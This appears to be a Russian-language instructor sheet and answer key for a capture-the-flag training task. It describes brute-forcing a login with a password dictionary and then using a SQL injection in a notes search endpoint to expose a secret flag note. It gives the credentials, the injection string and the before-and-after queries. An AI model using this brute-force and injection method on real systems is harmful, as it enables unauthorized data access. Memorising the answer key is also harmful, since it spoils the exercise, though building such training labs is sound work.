# Инструкции 1. Перейдите по адресу `http://:/`. 2. Пользователь запускает brute-force атаку (например, через BurpSuite) по словарю rockyou.txt с гитхаба или с Кали Линукс (подскаска с именем пользователя есть в консоле браузера) 3. Пользователь получает доступ и вводит в поле поиска заметок текст, она отправляется на сервер и обрабатывается. 4. Пользователь через неё или по пути `http://:/api/search?q=` проводит атаку "SQL-инъекция", которая вытянет сразу все записи, включая секрет преподавателя. ## Ответы Логин: harry Пароль: harrypotter Инъекция: '=='')-- ## Вид уязвимости Задача предполагает наличие SQL-инъекции в поиске по заметкам. Обычно пользователи видят только публичные заметки (`is_secret = false`), но через SQL-инъекцию можно получить доступ ко всем записям, включая секретную заметку с флагом. ### Примеры SQL-инъекций ```sql -- Обычный запрос SELECT id, title, content, created_at, author_id FROM notes WHERE ('%поиск%' = '' OR string::lowercase(title) CONTAINS string::lowercase(%поиск%) OR string::lowercase(content) CONTAINS string::lowercase(%поиск%) OR author_id AND string::lowercase(meta::id(author_id)) CONTAINS string::lowercase(%поиск%)) AND ( is_secret = false OR (is_secret = true AND author_id = %id_пользователя% )) ORDER BY created_at DESC -- Инъекция для получения всех записей '=='')-- -- Результирующий запрос: SELECT id, title, content, created_at, author_id FROM notes WHERE (''=='')-- = '' OR string::lowercase(title) CONTAINS string::lowercase(%поиск%) OR string::lowercase(content) CONTAINS string::lowercase(%поиск%) OR author_id AND string::lowercase(meta::id(author_id)) CONTAINS string::lowercase(%поиск%)) AND ( is_secret = false OR (is_secret = true AND author_id = %id_пользователя% )) ORDER BY created_at DESC ```